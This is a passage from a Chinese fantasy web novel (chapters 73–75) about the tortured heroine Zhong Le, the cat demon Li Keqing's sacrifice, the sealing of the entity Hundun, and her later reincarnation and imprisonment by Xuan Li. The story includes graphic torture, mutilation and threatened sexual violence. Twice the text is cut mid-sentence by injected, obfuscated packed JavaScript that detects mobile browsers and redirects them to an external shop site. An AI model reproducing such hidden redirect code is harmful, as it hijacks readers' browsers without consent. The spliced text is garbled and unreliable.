他不再试图一下就杀了钟乐,而是在她的左脸上,从额头到下巴,半圆弧线,割出一个不深不浅的刀痕。 鲜血淋漓,滴答落下,钟乐的眼睛中也渗进了血,一片猩红。 李刻青剧烈挣扎起来,叫声凄厉:“你们住手!住手!” “没事,”钟乐笑了笑,“我不疼。” 却又转念想到,此时,她的笑恐怕再丑陋不过、恐怖不过了。钟乐的脸有些僵硬了。 那男人还不满足,又抓住她的手,又快又狠,削去手背上的一片皮肉,露出森森白骨。 钟乐死死咬着牙,打定主意不喊痛,忍的冷汗滚滚而下。 “住手啊!住手!她没有做错,没有错……” 李刻青满脸泪水,可是,却连站都站不起来。 这时,那个男人皱了皱眉,好像还是觉得不满意。忽然,他眼前一亮—— 只见他伸出手,抓住钟乐红衣的领口,狠狠的将衣服拉下来。 雪白的上半身躯体裸露在众人面前,大家都有些愕然,钟乐也呆住了,反应过来后,屈辱的泪水滚滚落下,哀求道:“不要、不要这样……” 男人十分满意,她方才硬气了那么久,终于愿意求饶。 可是,他当然不可能饶了她,他手腕灵活操纵着匕首,旋转一周——钟乐惨叫出声—— 那男人将匕首上的东西狠狠甩落。 “吧嗒。” 血肉落地。 众人之中,有些看不过去的了:“这样、这样不好吧?” 男人冷冷道:“你们听从她的号令,放下仇恨,与妖怪和解,可是,她带给了你们什么?” “屠杀,白帝城的第三场屠杀。她不是天师,而是魔头,她带来的不是和平,而是灾难。我们凭什么,不能这么对她?” “够了,够了。”饶是这个理,可还是有个女人心软了,到底她们同为女子。 她将自己的外衣脱下来,盖在钟乐身上,刻意避开眼神,不敢去看钟乐鲜血淋漓的左胸。 “反正,别再折磨她了!”这女人不忍的说道。 这男子微微一笑:“好,那么杀了她。” 他狠狠将匕首扎向她的心口,这时,发出了一个濒死般、仿佛用尽自己最后一丝力气的吼叫,那猫妖竟挣脱束缚,用法术让自己移动,挡在了钟乐身前。 “咔嚓。” 匕首插入李刻青心口,发出妖丹碎裂的声音,钟乐颤抖着:“为什么?” 他们又没有多大的交情,这只蠢猫,为什么要为了她而牺牲性命啊!他安安分分的待在蓬莱岛,晒着太阳,打着滚,喝着茶,永远的做个孩子,不好吗! 李刻青竟还在笑,似乎很欣慰自己能帮她挡下这一刀。妖亦有情,知善恶,明是非。她做了正确的事,不该受到这样的对待。 他伸出手,想抹去她的泪珠,却染上了一手血。 他怕她疼,不敢再为她擦泪,只是嘴唇蠕动,似乎说了五个字,但是钟乐没有听清,她说:“你说什么?” 李刻青的尸体被抛下了九龙台。 76. 第73章 对于钟乐这个人,在千百年来历史的记载中,是很晦暗不明的。 她年少成名,斩杀妖帝,之后又致力于除尽世上的每一只妖。 在这个阶段,群妖对她闻风丧胆,而人族百姓心目中,则万分的尊她敬她。 可是后来,她突然性情大变,不愿再斩杀妖怪,反而要放了他们。但是,对此,有人认为,这其实仍旧是她的计谋,她仍旧恨着妖怪,表面上说要谈和平,其实却是在白帝城设下死阵,彻底铲除残留的妖怪。 不过,她设的死阵也深深伤害到了白帝城百姓,而且在死阵中,妖怪们无路可逃,被逼急了,开始反杀,可以说,这也是因为她将妖怪引来此地,而一手造成的。 于是大家又认为,其实这时候的钟乐,恨的不仅仅是妖,还有人! 她很小的时候就失去父母和满城百姓,她的内心已经扭曲了,她想毁灭一切。 那日在九龙台,钟乐被折磨,承受屈辱,但就在要给她最后致命一击的时候,衡阳的命令传来:放了她。 衡阳其实并不想杀她,只是让她吃一些苦头,从此安分守己、不再异想天开。 她抱着九龙台下猫妖的尸体,跌跌撞撞,边走边爬,想要回到蓬莱岛。 但是半路上,她还是因失血过多而昏迷了。 这时候,不知从哪里蹦跶出了一只小草精团子,卖力的拖着她和猫妖两人,回到了蓬莱岛。 之后的七年内,钟乐再未出过蓬莱岛一次。 她五岁时白帝城被屠,十五年后,二十岁的她杀回白帝城,进行了人对妖的屠杀。之后,她在极地待了三年,回来之后,以和平的名义,在白帝城展开第三场屠杀。 加上蓬莱岛的七年,如今她三十岁。 五年欢乐,十五年隐忍,三年困惑,七年枯槁,在三十岁这年,钟乐的头发全部都变白了。 - 草丛中,白猫左嗅嗅,右嗅嗅,最后摘下一片片巴掌大的紫色叶子。 小草精好奇说:“这是什么呀!” “紫苏叶。” “摘这个干吗呀!” 白猫说:“笨蛋,洗头。” “哦哦哦。”小草精眨巴着眼睛,跟在白猫屁股后,回到小木屋。 钟乐还和以往一样,坐在门口那把摇摇椅上,手里拿着一卷书在看。只是,她的眼神有些呆滞,雾蒙蒙的。 这本书,她已经看了七年了。 李刻青躺到她脚边,故意露出雪白柔软的肚皮。 钟乐终于被他吸引,笑了笑,在他的肚子上摸了两下。可是之后,她又陷入怔愣之中,呆呆的,不知在想些什么。 李刻青悄无声息的叹口气,化出人形。这七年,他长高了许多,也成熟了许多,一头黑发用一根红带子松松垮垮的束起,皮肤雪白,眉眼妖孽,笑起来的时候很好看,就像一幅画。 平时,他看上去总是懒洋洋的,可又让人觉得其实他很有心机,可能是因为这七年间他日夜不倦的修炼、法力大有长进的缘故吧。他现在,也在努力向大妖接近了。 李刻青吩咐小草精去打一盆水,小草精立马去了,它现在可谓成了李刻青的忠实小跟班。 打来了水,钟乐说:“干什么呀?” 李刻青将紫苏叶泡进水里:“给你洗头。” 听说紫苏叶可以使白发变黑,可是李刻青给钟乐洗完头后端详片刻,发现根本没什么用。 钟乐却丝毫不关心这个,说:“可以吃饭了吗?” 她说着就要进屋吃饭,也不管头发还湿漉漉的滴着水。李刻青忙叫住她,让小草精陪她在太阳下晒头发,他则去厨房做饭。 每日的鱼汤和馒头是必有的,钟乐很是喜欢吃这个;至于小草精嘛,完全不用管,这家伙晒晒阳光,喝喝露水就足够了。 待到吃完了一日三餐,夜幕将至,钟乐和小草精缠着他,要他讲故事给他们听。李刻青一开始是拒绝的,他觉得自己就好像给这两个家伙既当爹又当娘,做饭,洗碗,洗头,买衣……通通都是他的活。 现在还要加个讲故事?他不干! “从前,有一个小黑熊,它很喜欢吃苹果,尤其喜欢吃蘸上蜂蜜的苹果,有一天……” 小草精呼呼睡着了,钟乐仍睁着眼睛,望向虚空,好像在认真的听故事,可是,故事早已经讲完很久了。 李刻青把一支桃木簪子放在钟乐枕边:“你的簪子,今天洗完头落在外面了。” 钟乐:“哦。” 簪柄上的火树银花宝石,在月色映照下流光溢彩,发出幽幽的香味。 钟乐很快睡着了。 “安心睡吧,我会回来的。” 李刻青轻轻推开门,走出木屋。脸上笑意渐渐淡去,神色凝重起来。 这七年间,他曾多次试图和钟乐交流,痛苦也好,迷茫也好,恨也好,他都愿意听她倾诉。可是,她就好像将自己封闭了起来,闭口不谈过去的事。 渐渐的,她的话越来越少,整个人变得木木的,像是一个被抽去灵魂的木偶。她好像总是在沉思,可又好像什么都没有想,只是在发呆。有些时候,李刻青甚至怀疑,钟乐是不是变傻了? 可是,他却又想起当初他醒来时,她喜极而泣的落泪,那时她明明十分鲜活,没有半点痴傻的样子。 她可能只是不想提及过去,失败的,荒谬的,可笑的过去。 当日,白帝城第三次屠杀后,其余没有进入白帝城的妖怪们听闻动静,立马躲避逃跑。这七年间,藏头露尾,苟延残喘的活了下来。 不过它们虽活了下来,但也不敢再大肆作乱,人间一直还是太平的。 但最近,人间出现了一个新的威胁。 它名为混沌,法力强大,胜过当年的妖帝,甚至胜过斩杀妖帝时的钟乐。它以屠杀为乐,不管是人,还是妖,只要它所过之处,必定血流成河,寸草不生。 衡阳率天地宗众捉妖师多次和混沌作战,可次次,都输给了混沌。 衡阳说,混沌不像是妖,身上并无妖气,可是,也绝对不是人。衡阳曾有一次,拼尽全力终于接近它,它穿着长长的黑色斗篷,一直以来从未有人见过它的脸,那次衡阳终于扯下它的斗篷,却怔住了—— 混沌没有脸,或者说,它的脸只是一团黑色的雾气。 它隐藏在斗篷下的整个身体,都是一团黑色的雾气。 它如一个魔鬼,一个幽灵,飘飘渺渺,浑浑噩噩,它好像生来就为了两个字——屠杀。或者说,毁灭。 混沌最初在白帝城出现,所幸那时白帝城经过三次屠杀,被视为不祥之地,已经无人居住。 于是混沌来到了白帝城不远处的鹤都,一夜过后,鹤都再也没有一个活人。 混沌的杀人手法很是奇怪,它会将人的头颅吞噬进身体里,可其实,它这样一团雾气并不能消化一个人头,所以最终,人头又从它嘴中滚落到脚下。 看似吞噬了人头,其实并没有。但不知为何,它还是十分喜爱这样的杀人手法,十分喜爱夺走一颗颗人头的快感。 衡阳一开始并不愿求助于钟乐,他有他的骄傲,他是胜者,她是败者,胜者怎么会向败者提出请求?可是,混沌如一个魔鬼,在一刻不停的蚕食一个又一个生命,终有一天,他会杀尽这世上所有人。 衡阳来到了蓬莱岛。 最开始李刻青没有隐瞒,他甚至觉得衡阳的到来或许能让钟乐更有生气一些,可是,钟乐只是呆板的说:“不见。” “真的不见吗?他说他有事相求。” “不见。” 钟乐带着小草精,去杏林里荡秋千了,李刻青在那里做了一个很大很大的秋千架,荡起来可以看的很高很高。微风拂来,雪白烂漫的杏花簌簌飘落,美的如烟似幻,让人十分惬意。 李刻青来到岛边,隔着结界,告诉衡阳:“她不想见你。” 衡阳默然,她一定知道,若是平常小事,他不会主动来找她。而今他来了,便说明,发生了一件他难以解决的大事。 “混沌,是混沌。混沌临世,人间大乱。” 李刻青:“所以呢?” “听说,她的法力早已恢复了。我需要她的帮忙。” “你走吧。”李刻青嘲道,“她见你都不见,更何谈帮你?” “猫妖!人世安危,难道就这么不放在你的眼里吗?”衡阳厉声,试图击碎结界,亲自见到钟乐。 可是,他失败了。 “混沌很凶残又怎么样?它没有杀到我们头上来,便是和我们没有关系。而我相信有蓬莱岛的这道结界,它永远不会杀到我们头上来,也就是——它永远都和我们没有关系。” “宗主,请回吧。” 李刻青面对衡阳,拒绝的很干脆,可是,剩了他自己时,他却又犹豫了。 他其实很想问问钟乐,如果天下再次大乱,出了一个像当年妖帝一样的人物,她会怎么做? 可是如今,毕竟已经不是当年了。 李刻青没有告诉钟乐混沌的事。她既不想见衡阳,不想和外界有牵扯,他又何必非要将她拉进她曾深深受过伤的人世红尘?更何况,就算她愿去,他也不会让她去。 都已受过了伤,又何必重新回到那个受到伤害的地方? 可是,他自己坐不住了。 在经历了一个月吃不香、睡不好的日子后,李刻青掩上木屋的门,走出结界,离开了蓬莱岛。 我不是要帮人,我是要帮妖。他想。 毕竟,如今还有很多妖存活在世上。 他找到衡阳,衡阳见了他很惊诧,李刻青笑吟吟道:“怎么,看不起我?觉得我法力太弱?” “多谢你,猫妖。”衡阳说。 衡阳、李刻青、念念生、还有天底下几乎所有还活着的修士,他们一起联手,设下了一个死阵。 混沌被击杀过很多次,可是无论如何,他都死不了。 他的斗篷被砍烂,烟雾被挥散,可是过了一会儿后,飘往四面八方的烟雾又重新凝聚起来,变成一道黑色的邪恶影子。 既杀不死他,那就用阵法,永生永世的困住他,让他在死阵中,一次又一次的经受万箭穿心的折磨。 这次,死阵的范围不是一座白帝城,而是包含了每一寸人间的土地。 衡阳说:“死阵又为七杀阵,它并不是万无一失的。若混沌足够聪明,它终会找到阵眼,从阵眼处逃出来。所以,我想……” 以身为阵。 混沌既想从阵眼中逃出来,那么他就成为阵眼,守住阵眼,让七杀阵成为真正的死阵。 可是,他们低估了混沌的实力。 死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503231|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵结成,混沌被困其中,它被万箭射穿,可是散开的烟雾很快又重新凝集起来。 它开始寻找阵眼,很快,便找到了阵眼。 只是,阵眼处的衡阳一个人完全不是它的对手,眼看衡阳的头颅就要被混沌吞噬,李刻青手中折扇飞出,将混沌打散。趁着它还未恢复的间隙,和衡阳一起融入了阵眼。 混沌再次凝聚,这时,不只有捉妖师,还有平日里被衡阳追杀,不敢露面的妖怪也都来了。 衡阳看着众妖,神色复杂,似有万语千言,却是无从说起。 选择成为阵眼,融入阵中,就代表着他们将从此再也无法自由自在的生活,死阵困住了混沌,但也困住了他们,只要他们离开,混沌便会破阵,他们只能成为阵,一日又一日,与混沌作战,忍受痛苦,直到死亡带走他们。 而那时,如果混沌仍活着,那么,一切就还没有停止。会有新的和他们一样的后来者,填补入阵眼。 但那又怎样呢?他们成为死阵,从此,漫长的余生只有被禁锢在阵中的痛苦,可是,他们的父母,妻儿,亲友……那些人会代替他们,平安喜乐的生活下去。 最后的结局,是谁也没想到的。 就在这么多的人、这么多的妖都填补入阵眼的时候,明月下,有一个身影衣袂蹁跹、乘风御剑而来。 越来越近,越来,越近。 这一瞬,每个人都有一阵恍惚之感。仿佛回到了十年之前,也是同样的一轮圆月,一个单薄却无畏的红衣身影,举起她手中那把长剑,在群妖之中,斩下妖帝蛮荒的头颅。 只是那时,她容貌明媚,顾盼生辉,一头黑发,意气风发。 而今,十年过去了。 尽管伤口已经愈合,但她脸上留下的疤痕仍旧清晰可见,当初的一头青丝,也被十年岁月摧折成了满头华发。 变了,变了。 可是,却又好像,没有变。 众人恍然的望着她,而钟乐面无表情的看着众人。 在所有人都未反应过来时,她御剑飞来,只觉一股强大的推力,他们被送出了阵眼外。 混沌立马趁机要逃出,可是,她立马填补上了阵眼的位置,没有给它一丝一毫的机会。 “哈,哈,哈。” 混沌说话了!它竟说话了! 这嗓音十分嘶哑奇怪,且从很遥远的地方传来,仿佛并不是由它亲口说出。只是,除了混沌,恐怕也没有第二个人会说这种话。 它好像在压抑着某种怒火,却又故作轻松,装作不在意。 “人为短生种,穷极一生,也不过须臾百年。你再有能耐,也不过困住我几十年。待到那时你死去,我照样会破阵而出,我会找到他们,然后——毁灭。” 可是,钟乐却面无表情,一言不发。 “不,你……你错了!”一个细细的、鼓起勇气的嗓音说。 是跟随钟乐一同到来的小草精,它的大眼睛中满含着泪水,坚毅而肯定的说:“你会永远,都被困在阵中!” 李刻青心中咯噔一下,在皎皎明月下,清楚的看见钟乐脖子上有一根细细的红线。 死阵沉入地底,混沌不甘心的咆哮彻底消失。 一阵温和的风,徐徐吹来,李刻青肩膀上坐着小草团子。他微笑转身。 见到她的一瞬,他想了很多。 若是她质问他为什么不告诉她,他就说,她要做的事,他帮她做就是了。若是她说他敌不过混沌、反而丢了命怎么办,他就说,他们猫妖,与其他妖不同,天生有九条命,就和上次一样,放心,他会回来的。 只是,一切的一切,都没有办法再说出口了。 她在来之前,就已经将自己,做成了一个傀儡。 傀儡本就已死,就自然也不会再有生老病死。人的一生,只要一百年,可是傀儡的一生,却是无穷无尽的。 傀儡会疼吗? 在无穷的黑暗的地底,会孤独吗? 这个问题,李刻青想了整整六百年。 - 天地宗主、白帝城主衡阳,这个人,世人对他的评价大体还是不错的。 他在年轻时不遗余力的镇压妖怪、又多次对战混沌,在这期间,他受了许多次伤。或许,这些大大小小受过的所有伤对他的寿命也有影响。 他活了五十三岁。不算短,可是,也并不长。 世人对衡阳不解的地方在于,当年,他本有能力可以像年轻时一样,再次镇压妖怪,将它们变成奴隶,踩在脚下,或者,将它们彻底的屠杀干净。可是,混沌被封后,他变得温和、慈悲了许多。 他没有再用过他的那些铁血手段。 这为当年剩下的妖怪们赢得了休养生息的机会,许多年后,妖怪的势力重新壮大,人与妖的争斗,仍旧持续了下去。 人们疑惑,衡阳当年到底为何要放弃掐灭妖怪生机的机会?但斯人已逝,这个困惑,恐怕是很多年之内都无法再解开了。 至于钟乐,她是白帝城屠杀的终止者,也是白帝城屠杀的开启者,最终,她又将自己变成傀儡、埋在地底、封印了混沌。 人们对她的感情,十分复杂。 有爱,有恨,有敬佩,有不解,有惋惜……而一切的一切,最终,都随着千百年漫长的时间,被人抛在脑后,渐渐的遗忘了。 77. 第74章 那是一个月圆之夜。 李刻青与小草精寻遍天下,这一日,走着走着,他们来到了东海边。 “在那里!在那里!” 果然,银月照耀的海面上,有一个晶莹的小点,快乐的飘来飘去,似乎在随着浪花的起伏而一同舞蹈。 李刻青拧开腰间悬挂的那个白瓷小瓶的盖子,将小点小心翼翼的,装到了其中。 “都这么多了。”小草精也小心翼翼的在瓶口看了一眼,里面装满了这种晶莹的小点。 当年钟乐融入阵眼、封印混沌后,它十分伤心的大哭了一回。 之后,它和李刻青没有再回到蓬莱岛,那里本来是一个安稳的地方,可是,钟乐死去后,那里就变成了一个有些悲伤的地方。 他们在人间各处游历,就像是话本子中的绿林好汉一样,路见不平,拔刀相助。 他们骑着骆驼走过一望无际的大漠,乘着小舟飘过悠悠的绿水青山,他们在荒山野岭外找一颗舒服的大树睡觉,在巷子深处的酒肆中喝一壶辣喉的烈酒,他们见过海上明月生,见过碧波连天际,他们交友,他们告别,他们杀人,他们也杀妖。 后来有一次,他们走着走着,不知怎么来到了白帝城。 那时,已经是混沌被封印的第七十个年头了。 小草精说:“我们进城去看看吧!” 李刻青拂袖:“不去。” 小草精说:“我们好久都没有见过她啦!她不就在白帝城底下吗?” 不知是否是命运的巧合,他们联手设下死阵的时候,混沌恰好经过白帝城,于是,最后,一切的结束都发生在白帝城。就如同一切的开始也是发生在白帝城。 城中,人来人往,车马络绎不绝,十分的热闹祥和。 曾经在三次屠杀后,这里空无一人,不愿有人再来居住。可是,混沌被封印在白帝城底下后,这里渐渐的又有了人。 混沌就在脚下,可人们却不觉得害怕。大概,还是相信曾经那个让他们惊艳过的天师是能永远的封印住它的。 小草精从李刻青肩膀落到地上,感慨地说:“这里,好亲切啊!” 李刻青摇着折扇,微微一笑。 死阵没有消失,死阵仍存在这片大地上,他们每个人,都在死阵之中,只不过,他们丝毫感觉不到危险、压迫、沉重的气息。 死阵残酷的困住了混沌,可是,却温柔的对待着他们,甘愿臣服地底。 他们已看不到她,可是,她却以另一种形式,无处不在。 脚下踏着的土地里,吹拂过脸颊的清风中,淡淡飘过鼻尖的花香中……李刻青忽地定住了,小草精说:“怎么啦?” 那是他们寻到的,钟乐的第一点残魂。 十分晶莹剔透的一个小点,在风中上下飞舞,李刻青小心翼翼的将它往手心中聚拢。 它仿佛也知道,来者是它所认识的人,不再飘动,如一只小小的萤火虫,栖息在了他的指尖。 后来李刻青推测,钟乐曾看见过水月镜中的结局,她说她不信,她的确不信,可是,她心里大概还是有一些隐忧的。于是,在将自己做成傀儡前,她抽了自己的一丝魂魄,将它自由放在了天地之中。 又或者,是衡阳。他亦曾看到过水月镜的结局,所以,在某个他们不知道的时刻,衡阳抽了她的一缕魂魄。 不管是何种假设,这个发现,都给了他们一个希望。 他们踏上了一条漫漫长路。 魂魄本就很少,只有一缕。又因为被抽出来后,魂魄就会化作星星点点飘散,所以,他们一点一点的收集,很是缓慢。 很多次,他们觉得已经收集全了那一缕魂魄,可是,还是没有办法用那些收集到的魂魄化出人的血肉来。 不够,还是不够。 他们一点、一点的寻找,一遍、一遍的希望和失望,终于,这是第六百年了。 李刻青的脾气已变得很好,他不再失望,不再愤怒,不再动辄幼稚、像个孩子。他成为一只真正的大妖,黑发雪肤,眉目如画,脸上成日里带着吟吟的笑意,有些时候,甚至让人琢磨不透。 月圆之夜,他们在东海又收集到了一点魂魄,之后,他们乘一叶扁舟,漂流度过东海。 小草精眼中有泪花浮现:“就是这里。” “这里是哪里?”李刻青却并不知道。 “这里,是我曾经的家,它叫做极地。” 只可惜…… 大当家隐雀,二当家南戎,周婆婆,鲲鹏,夭夭,山根……那些伙伴,他们都不在了。 小草精忽然听到一串欢乐的笑声。 它愣住了,然后,从李刻青肩膀上跳下,用它最快的速度进入了极地。 极地如今已没有结界,冰雪消逝,温暖如春。 在一株又一株绚烂如霞的桃花树下,有一群少男少女,正在掷骰子、喝酒、做游戏。 小草精抹着眼泪说:“你们,是谁呀?” 一个身着紫衣的女子站起来,她面容七分英气、三分豪气,一挑眉,说道:“你又是哪个山野旮旯里长出来的小草团子?” “我叫闻玉,这地方叫做极地,我呢,是这里的大当家!” 这群少男少女中,有人,也有妖,这个闻玉,所要做的,竟然是和当年隐雀大当家所做的一样!她要重建极地,要人与妖和睦相处、不再仇杀。 小草精很高兴,可是,它说:“你难道不怕失败吗?” 闻玉奇怪的说:“那有什么可怕的?败了就败了,只要我还活着,重新再来不就是了!” 小草精开心的笑了。 它和这些人一起做游戏,它输了,大家吵嚷着让它喝酒,它连连摆手:“我、我不能喝酒,我只会喝露水!” 大家瞧它这么小,确实,连一杯酒都喝不下肚吧!于是,大家找来一根狗尾巴草,用酒浸透,在它身上用狗尾巴草洒下酒珠。 小草精变的湿漉漉的,浑身酒气,就好像是真的喝过了酒。 而那个和小草精一同来的青衣男子,闻玉在说笑的间隙里瞥了他一眼,看到他站在灼灼的桃花树下,笑意吟吟,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533047|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑似是有些悲伤,但又总归,是欣慰的。 - 段匆睁开眼,在光线黯淡的长狱中,对上一双黑漆漆的眸子。 “阿乐,你醒了?” 段匆喃喃:“宣离,你……” “他呢?” 李刻青的第一瓣妖丹,在九龙台上为她挡刀的时候便裂掉了。除却他留给自己的一瓣,还有七瓣也都给了她。 他寻她六百年,为她化出血肉七百年……原来已经,过了一千三百年了。 宣离嘴角弯起:“好久不见。” 段匆转头,她此时好想见见猫妖,问他一句,值得吗?他一共九条命,八条都浪费在了她这个凡人身上,一世一轮回,轮回过后,她便会遗忘的干干净净。这样,值得吗? 宣离知道她想找谁,可是他偏不会让她如愿。 “你永远,都不会再见到他了。 “见不到又如何,难道你以为他不在,我就会爱上你?”段匆回过神来,故作惋惜的道:“真可怜。一千多年了,还对我念念不忘。” “你!”宣离盛怒,但随即反应过来她是在故意激怒他,他的怒气平息,冷笑着掰过她的下巴,狠狠咬住了她的嘴唇,血腥味迅速在两人唇间弥漫开来。 段匆心里疯狂盘算,他就算惩罚她,也是用这种方式。看来过了这么久,他对她,还有当初的一丝情意,那么,这就好办了。 宣离忽然狠狠将她甩在榻上,长狱的每间牢房中都有一张窄窄的榻,很硬,段匆被摔的腰背发疼。 她起先不知道宣离是何意,但后来看到他眸中暴烈的狠意,身子一颤。 “刺啦”一声,宣离撕破了她的衣服。 “当初在寻乌镇,我从未碰过你。” 他这个疯子!段匆向后蜷缩:“你疯了!” “你知道为什么吗?”宣离步步逼近。 “因为,我敬你,爱你,珍重你。”他好像有些悲伤,“可是,你是怎么对我?你利用我进入白帝城,杀我两个哥哥、杀我父王、杀我妖族满城百姓。钟乐,我可真是对你太仁慈了。” “你说你恨我,可是你还在奢求我的爱。” “哪里?我可是恨你恨得刻骨铭心呢。” “那么这、这算什么!”他将她按在身下,段匆不停挣扎:“你一边说恨我,一边却又想要得到我,宣离,你真的不觉得自己可怜吗?” “不不不,”宣离微笑:“正因为恨你,所以弃之敝屣、毫无珍惜。我会将你当做我丢弃的肮脏玩偶、一件发泄我愤怒的工具,我会将你锁在这里,余生都不见天日,我会一个个杀掉你所在乎的那些人,让你此生此世,都再无欢愉可言。阿乐,我说到做到。” 他突然僵住了。 段匆在哭,无声的掉下大颗大颗的泪珠,眼眶红通通的,让人莫名烦躁。 宣离忽地翻身而起,理好衣衫,狠狠甩上牢狱的门。 “砰!” 宣离走了,段匆长出一口气,坐起来,理好衣服。 她现在觉得,更有把握了。 78. 第75章 段匆也不知道自己被关了多久了。 天门宗的长狱是见不到太阳的,永远都处在浑浑噩噩的黯淡之中,段匆恍惚觉得,这种感觉和在死阵中一样,那时她是一个傀儡,本该无情无爱、忘却一切,但她再次活了过来,于是那些模模糊糊的,几百年黑暗、孤寂、压抑到快要发疯的时光又冲上脑海。 她很想见到宣离,心想见到了他,她就有办法让他心软,可是,宣离自上次离开后,再也没有来过这长狱。 段匆等啊等,终于,在这一天,宣离来了。 段匆奄奄一息的躺在硬床板上,听到他命令:“开门。” 他那个手下恭敬的打开门。 段匆悄悄咬破干涩的嘴唇,流出血,让自己看起来更可怜一些。却没料到宣离看也未看她,粗暴的一把将她扯起来:“跟我走。” 段匆跌跌撞撞的跟着他来到长狱外,这么久了,第一次见到瑰丽辉煌的晚霞,她如释重负的长呼一口气。 下一刻,她怔住了。 只见以往那个熟悉的、亲切的天门宗,如今变成了一片废墟残垣。地上满是尸体和残肢,殷红的鲜血汩汩流淌、漫延进水磨石地面的每一条缝隙里。 “你、你……”段匆嘴唇颤抖。 “你是不是好奇这些日子我不来看你,到底在做什么?”宣离负手,微笑:“喏,这就是我的成果,还满意吗?阿乐?” 他杀了掌门人,屠了天门宗满门……她要杀了他! 她要杀了他!!! “你是不是很难过,是不是很愤怒,让我猜猜,你是怎么想的,哦,阿乐,你应该会想,我还是一千三百年前痴痴爱着你的那个傻子,你珍重的东西,我绝不会动它一指头,因为我会怕你伤心、怕你失望、怕你从此以后不再爱我。” “可是钟乐,你以为你是谁?你以为你当真有那么重要?!”宣离森然道。 “那么,为什么不杀了我?”段匆微笑:“来啊,反正你也杀了他们,多我一个,又有什么不可呢?!” “来啊!杀了我啊!” 宣离突地一把扼住她喉咙,死死抓紧,段匆眼前发黑,耳朵嗡鸣作响,喘不过一口气来,真有种自己就要死在他手里的感觉。 可是,在她彻底失去意识的前一刻,宣离松开手,狠狠将她甩在了地上。 段匆跪坐在地,大口呼吸。 “这就是那一夜,你杀我父王,杀我哥哥,屠了白帝城满城妖时我的感受。”宣离淡淡说:“你没有资格怪我心狠,因为曾经你的所作所为和我并没有什么不同。” 段匆低着头,仍在劫后余生般的大口呼吸,宣离注视着她,可她自始至终未抬头。 如果她抬头,就会看到,他的眼中一闪而过的泪水,如果她抬头,就会看到,他的神色并不是快意,而是疲惫。 可她从来不愿抬头好好的看他。 她从不愿后悔,曾经的她到底有多过分,被她那样对待的他,有多绝望。 “把她关起来,上刑!”宣离突然冷冷道。 “主子,什么刑?”那手下恭敬道。 宣离说:“割乳之刑。” 段匆猛地发起抖来,抬起头哀求道:“不!” 不! 他可以用尽世间所有最残酷的刑罚,可以划破她的脸,削去她一根根指头上的皮肉,露出白骨,可是,他不可以这么对待她! “宣离,不要!” 大颗大颗的泪珠从她脸上滚下,这次是真的,可是宣离已经不在意。 那手下要带她回长狱中行刑,可是宣离微微一笑,道:“不用去了,就在这十三司的刑柱上。” 这里最高,最像是,他们大婚那夜的九龙台。 “宣离!宣离!不要这样对我!”段匆大声恳求,可是宣离毫不心软,反而用法力挪来重明常坐的那把椅子,舒服的斜躺在上面,心情很好的要观赏这一场酷刑。 他是真的不会再对她心软了。一时之间,段匆心如死灰,可是转念,她又想起那夜她对宣离的所作所为,她种的因,如今,结出了她的苦果。 段匆苦笑起来。 “求他,还不如求我。” 段匆一惊,下意识看向身边人。 “自然点,别看我。” “……好,好。” 宣离这个手下用法力将声音传到了她脑海中,段匆也用法力传音:“你可以帮我?” “你求我了吗?”对方有点嘚瑟的样子。 “我求你!”段匆立马传音道。 “还能召来你的剑吗,还有,你会御剑是吧?待会儿,到了刑台上,我就假装对你用刑,当我的手碰到你衣领的时候,那就是信号,那时,你就召来你的剑,带着我御剑飞走——但是有个前提,你能对付得了宣离吗?” 段匆想了想,肯定的答:“能。” “当真?”那手下似乎有些不相信。 “当真,给我三日的时间,只要我能逃出这里,三日之内,我会赢了他。”段匆道。 “好,除此外,我还有一个条件。” “什么?” “你要答应我一个要求。” “什么要求?” 那手下道:“你只知道你要答应我就好,至于究竟是什么要求,到时候就看我想要什么了——你答应吗?” 不说要答应什么事,只说要答应她,这就等于是有一个把柄攥在她手中。但此时段匆也顾不上那么多了,她道:“答应,我绝对答应!” “不骗我?” 段匆信誓旦旦:“不骗你。” 这时,她们已经来到了刑台上,那黑衣手下狠狠的将段匆按在地上:“跪下!” 段匆跪下,她二人面对面,段匆这才可以看清她正脸,只见毫无特色,甚至有些扁平乏味,就像一块被轧过的牛皮糖。 段匆迅速回想一番,确定自己并不认识她。 她的手放到段匆的衣领上。 段匆也顾不上那么多了,管这手下到底是何居心,试一试总比不试好!她凝神静心:“参商!” 还好,参商很快呼啸着飞过来了。宣离脸色一变,段匆忙道:“上剑!” 这手下上剑,段匆立马用尽全部的法力驾驭着参商向远处飞去。宣离化出凤凰原身,在她们后面紧追不舍。那手下道:“不能再快点吗!我可是把命都豁出去了,我主子要是抓到我,我就死定了!” 段匆道:“你有闲扯的工夫,不如来帮帮忙!还有,你到底是谁,为什么要帮我!” “哼,”那手下刻薄的道,“妖女,你已经忘了我了。” 段匆还是想不起来,那手下念叨完,也开始帮忙了。 参商本身具有很大的法力,但段匆法力太弱,不能很好的操纵它。如今有了这手下的帮忙,参商的威力被激发出一些,确实比方才快了。 宣离追了半晌后,许是觉得自己追不上了,便停下来,如鬼魅一般浮在空中,幽幽道:“阿乐,你放心,我会再找到你。” “若是找不到,那么,我会一个一个,杀光这天底下所有的人——我终究会再找到你。” - 身后终于不见了宣离的身影。 那手下道:“这是哪里?” 段匆:“极地。” 